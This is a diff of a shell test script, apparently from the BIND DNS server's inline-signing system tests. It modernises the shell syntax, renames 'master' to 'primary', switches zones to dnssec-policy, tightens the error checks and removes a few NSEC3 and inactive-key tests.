-echo_i "checking that the retransfer record is added on the hidden primary ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.2 added.retransfer A > dig.out.ns2.test$n
+$DIG $DIGOPTS @10.53.0.2 added.retransfer A > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that the change has not been transferred due to notify ($n)"
 ret=0
 for i in 0 1 2 3 4 5 6 7 8 9
 do
 	ans=0
-	$DIG $DIGOPTS @10.53.0.3 added.retransfer A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 added.retransfer A > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ans=1
 	[ $ans = 0 ] && break
 	sleep 1
 done
 if [ $ans != 1 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check rndc retransfer of a inline secondary zone works ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 retransfer retransfer 2>&1 || ret=1
 for i in 0 1 2 3 4 5 6 7 8 9
 do
 	ans=0
-	$DIG $DIGOPTS @10.53.0.3 added.retransfer A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 added.retransfer A > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ans=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ans=1
 	[ $ans = 0 ] && break
@@ -765,103 +786,41 @@ do
 done
 [ $ans = 1 ] && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
-echo_i "check 'rndc signing -nsec3param' requests are queued for zones which are not loaded ($n)"
-ret=0
-# The "retransfer3" zone is configured with "allow-transfer { none; };" on ns2,
-# which means it should not yet be available on ns3.
-$DIG $DIGOPTS @10.53.0.3 retransfer3 SOA > dig.out.ns3.pre.test$n
-grep "status: SERVFAIL" dig.out.ns3.pre.test$n > /dev/null || ret=1
-# Switch the zone to NSEC3.  An "NSEC3 -> NSEC -> NSEC3" sequence is used purely
-# to test that multiple queued "rndc signing -nsec3param" requests are handled
-# properly.
-$RNDCCMD 10.53.0.3 signing -nsec3param 1 0 0 - retransfer3 > /dev/null 2>&1 || ret=1
-$RNDCCMD 10.53.0.3 signing -nsec3param none retransfer3 > /dev/null 2>&1 || ret=1
-$RNDCCMD 10.53.0.3 signing -nsec3param 1 0 0 - retransfer3 > /dev/null 2>&1 || ret=1
-# Reconfigure ns2 to allow outgoing transfers for the "retransfer3" zone.
-sed "s|\(allow-transfer { none; };.*\)|// \1|;" ns2/named.conf > ns2/named.conf.new
-mv ns2/named.conf.new ns2/named.conf
-$RNDCCMD 10.53.0.2 reconfig || ret=1
-# Request ns3 to retransfer the "retransfer3" zone.
-$RNDCCMD 10.53.0.3 retransfer retransfer3 || ret=1
-# Wait until ns3 finishes building the NSEC3 chain for "retransfer3".  There is
-# no need to immediately set ret=1 if building the NSEC3 chain is not finished
-# within the time limit because the query we will send shortly will detect any
-# problems anyway.
-for i in 0 1 2 3 4 5 6 7 8 9
-do
-	$RNDCCMD 10.53.0.3 signing -list retransfer3 > signing.out.test$n.$i 2>&1
-	keys_done=`grep "Done signing" signing.out.test$n.$i | wc -l`
-	nsec3_pending=`grep "NSEC3 chain" signing.out.test$n.$i | wc -l`
-	test $keys_done -eq 2 -a $nsec3_pending -eq 0 && break
-	sleep 1
-done
-# Check whether "retransfer3" uses NSEC3 as requested.
-$DIG $DIGOPTS @10.53.0.3 nonexist.retransfer3 A > dig.out.ns3.post.test$n
-grep "status: NXDOMAIN" dig.out.ns3.post.test$n > /dev/null || ret=1
-grep "NSEC3" dig.out.ns3.post.test$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
-echo_i "check rndc retransfer of a inline nsec3 secondary retains nsec3 ($n)"
-ret=0
-$RNDCCMD 10.53.0.3 signing -nsec3param 1 0 0 - retransfer3 > /dev/null 2>&1 || ret=1
-for i in 0 1 2 3 4 5 6 7 8 9
-do
-	ans=0
-	$DIG $DIGOPTS @10.53.0.3 nonexist.retransfer3 A > dig.out.ns3.pre.test$n
-	grep "status: NXDOMAIN" dig.out.ns3.pre.test$n > /dev/null || ans=1
-	grep "NSEC3" dig.out.ns3.pre.test$n > /dev/null || ans=1
-	[ $ans = 0 ] && break
-	sleep 1
-done
-$RNDCCMD 10.53.0.3 retransfer retransfer3 2>&1 || ret=1
-for i in 0 1 2 3 4 5 6 7 8 9
-do
-	ans=0
-	$DIG $DIGOPTS @10.53.0.3 nonexist.retransfer3 A > dig.out.ns3.post.test$n
-	grep "status: NXDOMAIN" dig.out.ns3.post.test$n > /dev/null || ans=1
-	grep "NSEC3" dig.out.ns3.post.test$n > /dev/null || ans=1
-	[ $ans = 0 ] && break
-	sleep 1
-done
-[ $ans = 1 ] && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # NOTE: The test below should be considered fragile.  More details can be found
 # in the comment inside ns7/named.conf.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check rndc retransfer of a inline nsec3 secondary does not trigger an infinite loop ($n)"
 ret=0
 zone=nsec3-loop
 # Add secondary zone using rndc
 $RNDCCMD 10.53.0.7 addzone $zone \
-	'{ type secondary; primaries { 10.53.0.2; }; file "'$zone'.db"; inline-signing yes; auto-dnssec maintain; };'
+	'{ type secondary; primaries { 10.53.0.2; }; file "'$zone'.db"; inline-signing yes; dnssec-policy default; };' || ret=1
 # Wait until secondary zone is fully signed using NSEC
 for i in 1 2 3 4 5 6 7 8 9 0
 do
 	ret=1
-	$RNDCCMD 10.53.0.7 signing -list $zone > signing.out.test$n 2>&1
-	keys=`grep '^Done signing' signing.out.test$n | wc -l`
+	$RNDCCMD 10.53.0.7 signing -list $zone > signing.out.test$n 2>&1 || ret=1
+	keys=$(grep '^Done signing' signing.out.test$n | wc -l)
 	[ $keys -eq 3 ] && ret=0 && break
 	sleep 1
 done
 # Switch secondary zone to NSEC3
-$RNDCCMD 10.53.0.7 signing -nsec3param 1 0 2 12345678 $zone > /dev/null 2>&1
+$RNDCCMD 10.53.0.7 modzone $zone \
+	'{ type secondary; primaries { 10.53.0.2; }; file "'$zone'.db"; inline-signing yes; dnssec-policy nsec3; };' || ret=1
 # Wait until secondary zone is fully signed using NSEC3
 for i in 1 2 3 4 5 6 7 8 9 0
 do
 	ret=1
-	nsec3param=`$DIG $DIGOPTS +nodnssec +short @10.53.0.7 nsec3param $zone`
-	test "$nsec3param" = "1 0 2 12345678" && ret=0 && break
+	$DIG $DIGOPTS +nodnssec +short @10.53.0.7 nsec3param $zone > dig.out.ns7.test$n
+	nsec3param=$(cat dig.out.ns7.test$n)
+	test "$nsec3param" = "1 0 0 -" && ret=0 && break
 	sleep 1
 done
+
 # Attempt to retransfer the secondary zone from primary
-$RNDCCMD 10.53.0.7 retransfer $zone
+$RNDCCMD 10.53.0.7 retransfer $zone || ret=1
 # Check whether the signer managed to fully sign the retransferred zone by
 # waiting for a specific SOA serial number to appear in the logs; if this
 # specific SOA serial number does not appear in the logs, it means the signer
@@ -872,38 +831,38 @@ $RNDCCMD 10.53.0.7 retransfer $zone
 for i in 1 2 3 4 5 6 7 8 9 0
 do
 	ret=1
-	grep "ns2.$zone. . 10 20 20 1814400 3600" ns7/named.run > /dev/null 2>&1
-	[ $? -eq 0 ] && ret=0 && break
+	{ grep "ns2.$zone. . 10 20 20 1814400 3600" ns7/named.run > /dev/null 2>&1; rc=$?; } || true
+	[ $rc -eq 0 ] && ret=0 && break
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "stop bump in the wire signer server ($n)"
 ret=0
-stop_server inline ns3 || ret=1
+stop_server ns3 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "update SOA record while stopped"
-cp ns3/master4.db.in ns3/master.db
-rm ns3/master.db.jnl
+cp ns3/primary4.db.in ns3/primary.db
+rm -f ns3/primary.db.jnl
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "restart bump in the wire signer server ($n)"
 ret=0
-start_server --noclean --restart --port ${PORT} inline ns3 || ret=1
+start_server --noclean --restart --port ${PORT} ns3 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "updates to SOA parameters other than serial while stopped are reflected in signed zone ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9
 do
 	ans=0
-	$DIG $DIGOPTS @10.53.0.3 master SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 primary SOA > dig.out.ns3.test$n || ret=1
 	grep "hostmaster" dig.out.ns3.test$n > /dev/null || ans=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ans=1
 	[ $ans = 1 ] || break
@@ -911,21 +870,21 @@ do
 done
 [ $ans = 0 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that reloading all zones does not cause zone maintenance to cease for inline-signed zones ($n)"
 ret=1
-# Ensure "rndc reload" attempts to load ns3/master.db by waiting 1 second so
+# Ensure "rndc reload" attempts to load ns3/primary.db by waiting 1 second so
 # that the file modification time has no possibility of being equal to
 # the one stored during server startup.
 sleep 1
 nextpart ns3/named.run > /dev/null
-cp ns3/master5.db.in ns3/master.db
+cp ns3/primary5.db.in ns3/primary.db
 rndc_reload ns3 10.53.0.3
 for i in 1 2 3 4 5 6 7 8 9 10
 do
-	if nextpart ns3/named.run | grep "zone master.*sending notifies" > /dev/null; then
+	if nextpart ns3/named.run | grep "zone primary.*sending notifies" > /dev/null; then
 		ret=0
 		break
 	fi
@@ -933,18 +892,18 @@ do
 done
 # Sanity check: file updates should be reflected in the signed zone,
 # i.e. SOA RNAME should no longer be set to "hostmaster".
-$DIG $DIGOPTS @10.53.0.3 master SOA > dig.out.ns3.test$n || ret=1
+$DIG $DIGOPTS @10.53.0.3 primary SOA > dig.out.ns3.test$n || ret=1
 grep "hostmaster" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that reloading errors prevent synchronization ($n)"
 ret=1
-$DIG $DIGOPTS +short @10.53.0.3 master SOA > dig.out.ns3.test$n.1 || ret=1
+$DIG $DIGOPTS +short @10.53.0.3 primary SOA > dig.out.ns3.test$n.1 || ret=1
 sleep 1
 nextpart ns3/named.run > /dev/null
-cp ns3/master6.db.in ns3/master.db
+cp ns3/primary6.db.in ns3/primary.db
 rndc_reload ns3 10.53.0.3
 for i in 1 2 3 4 5 6 7 8 9 10
 do
@@ -956,23 +915,23 @@ do
 	sleep 1
 done
 # Sanity check: the SOA record should be unchanged
-$DIG $DIGOPTS +short @10.53.0.3 master SOA > dig.out.ns3.test$n.2 || ret=1
-$DIFF dig.out.ns3.test$n.1  dig.out.ns3.test$n.2 > /dev/null || ret=1
+$DIG $DIGOPTS +short @10.53.0.3 primary SOA | grep -v '^;' > dig.out.ns3.test$n.2
+diff dig.out.ns3.test$n.1  dig.out.ns3.test$n.2 > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check inline-signing with an include file ($n)"
 ret=0
-$DIG $DIGOPTS +short @10.53.0.3 master SOA > dig.out.ns3.test$n.1 || ret=1
+$DIG $DIGOPTS +short @10.53.0.3 primary SOA > dig.out.ns3.test$n.1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 sleep 1
 nextpart ns3/named.run > /dev/null
-cp ns3/master7.db.in ns3/master.db
+cp ns3/primary7.db.in ns3/primary.db
 rndc_reload ns3 10.53.0.3
 _includefile_loaded() {
-	$DIG $DIGOPTS @10.53.0.3 f.master A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 f.primary A > dig.out.ns3.test$n || return 1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || return 1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || return 1
 	grep "10\.0\.0\.7" dig.out.ns3.test$n > /dev/null || return 1
@@ -980,53 +939,54 @@ _includefile_loaded() {
 }
 retry_quiet 10 _includefile_loaded
 # Sanity check: the SOA record should be changed
-$DIG $DIGOPTS +short @10.53.0.3 master SOA > dig.out.ns3.test$n.2 || ret=1
-$DIFF dig.out.ns3.test$n.1  dig.out.ns3.test$n.2 > /dev/null && ret=1
+$DIG $DIGOPTS +short @10.53.0.3 primary SOA | grep -v '^;' > dig.out.ns3.test$n.2
+diff dig.out.ns3.test$n.1  dig.out.ns3.test$n.2 > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test add/del zone combinations ($n)"
 ret=0
 for zone in a b c d e f g h i j k l m n o p q r s t u v w x y z
 do
 $RNDCCMD 10.53.0.2 addzone test-$zone \
-	'{ type primary; file "bits.db.in"; allow-transfer { any; }; };'
-$DIG $DIGOPTS @10.53.0.2 test-$zone SOA > dig.out.ns2.$zone.test$n
+	'{ type primary; file "bits.db.in"; allow-transfer { any; }; };' || ret=1
+$DIG $DIGOPTS @10.53.0.2 test-$zone SOA > dig.out.ns2.$zone.test$n || ret=1
 grep "status: NOERROR," dig.out.ns2.$zone.test$n  > /dev/null || { ret=1; cat dig.out.ns2.$zone.test$n; }
 $RNDCCMD 10.53.0.3 addzone test-$zone \
-	'{ type secondary; primaries { 10.53.0.2; }; file "'test-$zone.bk'"; inline-signing yes; auto-dnssec maintain; allow-transfer { any; }; };'
-$RNDCCMD 10.53.0.3 delzone test-$zone > /dev/null 2>&1
+	'{ type secondary; primaries { 10.53.0.2; }; file "'test-$zone.bk'"; inline-signing yes; dnssec-policy default; allow-transfer { any; }; };' || ret=1
+$RNDCCMD 10.53.0.3 delzone test-$zone > /dev/null 2>&1 || ret=1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing adding external keys to a inline zone ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.3 dnskey externalkey > dig.out.ns3.test$n
-for alg in 7 13
+$DIG $DIGOPTS @10.53.0.3 dnskey externalkey > dig.out.ns3.test$n || ret=1
+for alg in ${DEFAULT_ALGORITHM_NUMBER} ${ALTERNATIVE_ALGORITHM_NUMBER}
 do
    [ $alg = 13 -a ! -f checkecdsa ] && continue;
 
    case $alg in
    7) echo_i "checking NSEC3RSASHA1";;
+   8) echo_i "checking RSASHA256";;
    13) echo_i "checking ECDSAP256SHA256";;
    *) echo_i "checking $alg";;
    esac
 
-   dnskeys=`grep "IN.DNSKEY.25[67] [0-9]* $alg " dig.out.ns3.test$n | wc -l`
-   rrsigs=`grep "RRSIG.DNSKEY $alg " dig.out.ns3.test$n | wc -l`
-   test ${dnskeys:-0} -eq 3 || { echo_i "failed $alg (dnskeys ${dnskeys:-0})"; ret=1; }
-   test ${rrsigs:-0} -eq 2 || { echo_i "failed $alg (rrsigs ${rrsigs:-0})"; ret=1; }
+   dnskeys=$(grep "IN.DNSKEY.25[67] [0-9]* $alg " dig.out.ns3.test$n | wc -l)
+   rrsigs=$(grep "RRSIG.DNSKEY $alg " dig.out.ns3.test$n | wc -l)
+   test ${dnskeys:-0} -eq 4 || { echo_i "failed $alg (dnskeys ${dnskeys:-0})"; ret=1; }
+   test ${rrsigs:-0} -eq 1 || { echo_i "failed $alg (rrsigs ${rrsigs:-0})"; ret=1; }
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing imported key won't overwrite a private key ($n)"
 ret=0
-key=`$KEYGEN -q -a rsasha256 import.example`
+key=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} import.example)
 cp ${key}.key import.key
 # import should fail
 $IMPORTKEY -f import.key import.example > /dev/null 2>&1 && ret=1
@@ -1036,147 +996,83 @@ $IMPORTKEY -f import.key import.example > /dev/null 2>&1 || ret=1
 # now that it's an external key, re-import should succeed
 $IMPORTKEY -f import.key import.example > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing updating inline secure serial via 'rndc signing -serial' ($n)"
 ret=0
-$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.n3.pre.test$n
-newserial=`$PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.n3.pre.test$n`
-$RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 > /dev/null 2>&1
+$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.n3.pre.test$n || ret=1
+newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.n3.pre.test$n)
+$RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 > /dev/null 2>&1 || ret=1
 retry_quiet 5 wait_for_serial 10.53.0.3 nsec3. "${newserial:-0}" dig.out.ns3.post.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing updating inline secure serial via 'rndc signing -serial' with negative change ($n)"
 ret=0
-$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.n3.pre.test$n
-oldserial=`awk '$4 == "SOA" { print $7 }' dig.out.n3.pre.test$n`
-newserial=`$PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] - 10) if ($field[3] eq "SOA"); }' < dig.out.n3.pre.test$n`
-$RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 > /dev/null 2>&1
+$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.n3.pre.test$n || ret=1
+oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.n3.pre.test$n)
+newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] - 10) if ($field[3] eq "SOA"); }' < dig.out.n3.pre.test$n)
+$RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 > /dev/null 2>&1 || ret=1
 sleep 1
-$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.ns3.post.test$n
-serial=`awk '$4 == "SOA" { print $7 }' dig.out.ns3.post.test$n`
+$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.ns3.post.test$n || ret=1
+serial=$(awk '$4 == "SOA" { print $7 }' dig.out.ns3.post.test$n)
 [ ${oldserial:-0} -eq ${serial:-1} ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # Freezing only operates on the raw zone.
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing updating inline secure serial via 'rndc signing -serial' when frozen ($n)"
 ret=0
-$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.n3.pre.test$n
-oldserial=`awk '$4 == "SOA" { print $7 }' dig.out.n3.pre.test$n`
-newserial=`$PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.n3.pre.test$n`
-$RNDCCMD 10.53.0.3 freeze nsec3 > /dev/null 2>&1
-$RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 > /dev/null 2>&1
-$RNDCCMD 10.53.0.3 thaw nsec3 > /dev/null 2>&1
+$DIG $DIGOPTS nsec3. SOA @10.53.0.3 > dig.out.n3.pre.test$n || ret=1
+oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.n3.pre.test$n)
+newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.n3.pre.test$n)
+$RNDCCMD 10.53.0.3 freeze nsec3 > /dev/null 2>&1 || ret=1
+$RNDCCMD 10.53.0.3 signing -serial ${newserial:-0} nsec3 > /dev/null 2>&1 || ret=1
+$RNDCCMD 10.53.0.3 thaw nsec3 > /dev/null 2>&1 || ret=1
 retry_quiet 5 wait_for_serial 10.53.0.3 nsec3. "${newserial:-0}" dig.out.ns3.post1.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing updating dynamic serial via 'rndc signing -serial' ($n)"
 ret=0
-$DIG $DIGOPTS bits. SOA @10.53.0.2 > dig.out.ns2.pre.test$n
-newserial=`$PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.ns2.pre.test$n`
-$RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits > /dev/null 2>&1
+$DIG $DIGOPTS bits. SOA @10.53.0.2 > dig.out.ns2.pre.test$n || ret=1
+newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.ns2.pre.test$n)
+$RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits > /dev/null 2>&1 || ret=1
 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${newserial:-0}" dig.out.ns2.post.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing updating dynamic serial via 'rndc signing -serial' with negative change ($n)"
 ret=0
-$DIG $DIGOPTS bits. SOA @10.53.0.2 > dig.out.ns2.pre.test$n
-oldserial=`awk '$4 == "SOA" { print $7 }' dig.out.ns2.pre.test$n`
-newserial=`$PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] - 10) if ($field[3] eq "SOA"); }' < dig.out.ns2.pre.test$n`
-$RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits > /dev/null 2>&1
+$DIG $DIGOPTS bits. SOA @10.53.0.2 > dig.out.ns2.pre.test$n || ret=1
+oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.ns2.pre.test$n)
+newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] - 10) if ($field[3] eq "SOA"); }' < dig.out.ns2.pre.test$n)
+$RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits > /dev/null 2>&1 || ret=1
 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${newserial:-1}" dig.out.ns2.post1.test$n && ret=1
 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${oldserial:-1}" dig.out.ns2.post2.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing updating dynamic serial via 'rndc signing -serial' when frozen ($n)"
 ret=0
-$DIG $DIGOPTS bits. SOA @10.53.0.2 > dig.out.ns2.pre.test$n
-oldserial=`awk '$4 == "SOA" { print $7 }' dig.out.ns2.pre.test$n`
-newserial=`$PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.ns2.pre.test$n`
-$RNDCCMD 10.53.0.2 freeze bits > /dev/null 2>&1
-$RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits > /dev/null 2>&1
-$RNDCCMD 10.53.0.2 thaw bits > /dev/null 2>&1
+$DIG $DIGOPTS bits. SOA @10.53.0.2 > dig.out.ns2.pre.test$n || ret=1
+oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.ns2.pre.test$n)
+newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' < dig.out.ns2.pre.test$n)
+$RNDCCMD 10.53.0.2 freeze bits > /dev/null 2>&1 || ret=1
+$RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits > /dev/null 2>&1 && ret=1
+$RNDCCMD 10.53.0.2 thaw bits > /dev/null 2>&1 || ret=1
 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${newserial:-1}" dig.out.ns2.post1.test$n && ret=1
 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${oldserial:-1}" dig.out.ns2.post2.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
-echo_i "testing that inline signing works with inactive ZSK and active KSK ($n)"
-ret=0
-
-$DIG $DIGOPTS @10.53.0.3 soa inactivezsk  > dig.out.ns3.pre.test$n || ret=1
-soa1=`awk '$4 == "SOA" { print $7 }' dig.out.ns3.pre.test$n`
-
-$NSUPDATE << EOF
-server 10.53.0.2 ${PORT}
-update add added.inactivezsk 0 IN TXT added record
-send
-EOF
-
-for i in 1 2 3 4 5 6 7 8 9 10
-do
-    $DIG $DIGOPTS @10.53.0.3 soa inactivezsk  > dig.out.ns3.post.test$n || ret=1
-    soa2=`awk '$4 == "SOA" { print $7 }' dig.out.ns3.post.test$n`
-    test ${soa1:-0} -ne ${soa2:-0} && break
-    sleep 1
-done
-test ${soa1:-0} -ne ${soa2:-0} || ret=1
-
-$DIG $DIGOPTS @10.53.0.3 txt added.inactivezsk > dig.out.ns3.test$n || ret=1
-grep "ANSWER: 3," dig.out.ns3.test$n > /dev/null || ret=1
-grep "RRSIG" dig.out.ns3.test$n > /dev/null || ret=1
-grep "TXT 7 2" dig.out.ns3.test$n > /dev/null || ret=1
-grep "TXT 8 2" dig.out.ns3.test$n > /dev/null || ret=1
-
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
-echo_i "testing that inline signing works with inactive KSK and active ZSK ($n)"
-ret=0
-
-$DIG $DIGOPTS @10.53.0.3 axfr inactiveksk > dig.out.ns3.test$n
-
-#
-#  check that DNSKEY is signed with ZSK for algorithm 7
-#
-awk='$4 == "DNSKEY" && $5 == 256 && $7 == 7 { print }'
-zskid=`awk "${awk}" dig.out.ns3.test$n |
-       $DSFROMKEY -A -2 -f - inactiveksk | awk '{ print $4}' `
-grep "DNSKEY 7 1 [0-9]* [0-9]* [0-9]* ${zskid} " dig.out.ns3.test$n > /dev/null || ret=1
-awk='$4 == "DNSKEY" && $5 == 257 && $7 == 7 { print }'
-kskid=`awk "${awk}" dig.out.ns3.test$n |
-       $DSFROMKEY -2 -f - inactiveksk | awk '{ print $4}' `
-grep "DNSKEY 7 1 [0-9]* [0-9]* [0-9]* ${kskid} " dig.out.ns3.test$n > /dev/null && ret=1
-
-#
-#  check that DNSKEY is signed with KSK for algorithm 8
-#
-awk='$4 == "DNSKEY" && $5 == 256 && $7 == 8 { print }'
-zskid=`awk "${awk}" dig.out.ns3.test$n |
-       $DSFROMKEY -A -2 -f - inactiveksk | awk '{ print $4}' `
-grep "DNSKEY 8 1 [0-9]* [0-9]* [0-9]* ${zskid} " dig.out.ns3.test$n > /dev/null && ret=1
-awk='$4 == "DNSKEY" && $5 == 257 && $7 == 8 { print }'
-kskid=`awk "${awk}" dig.out.ns3.test$n |
-       $DSFROMKEY -2 -f - inactiveksk | awk '{ print $4}' `
-grep "DNSKEY 8 1 [0-9]* [0-9]* [0-9]* ${kskid} " dig.out.ns3.test$n > /dev/null || ret=1
-
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Wait until an update to the raw part of a given inline signed zone is fully
 # processed.  As waiting for a fixed amount of time is suboptimal and there is
@@ -1189,14 +1085,14 @@ wait_until_raw_zone_update_is_processed() {
 	zone="$1"
 	for i in 1 2 3 4 5 6 7 8 9 10
 	do
-		if nextpart ns3/named.run | egrep "zone ${zone}.*(sending notifies|receive_secure_serial)" > /dev/null; then
+		if nextpart ns3/named.run | grep -E "zone ${zone}.*(sending notifies|receive_secure_serial)" > /dev/null; then
 			return
 		fi
 		sleep 1
 	done
 }
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that changes to raw zone are applied to a previously unsigned secure zone ($n)"
 ret=0
 # Query for bar.nokeys/A and ensure the response is negative.  As this zone
@@ -1217,13 +1113,13 @@ EOF
 wait_until_raw_zone_update_is_processed "nokeys"
 # Query for bar.nokeys/A again and ensure the signer now returns a positive,
 # yet still unsigned response.
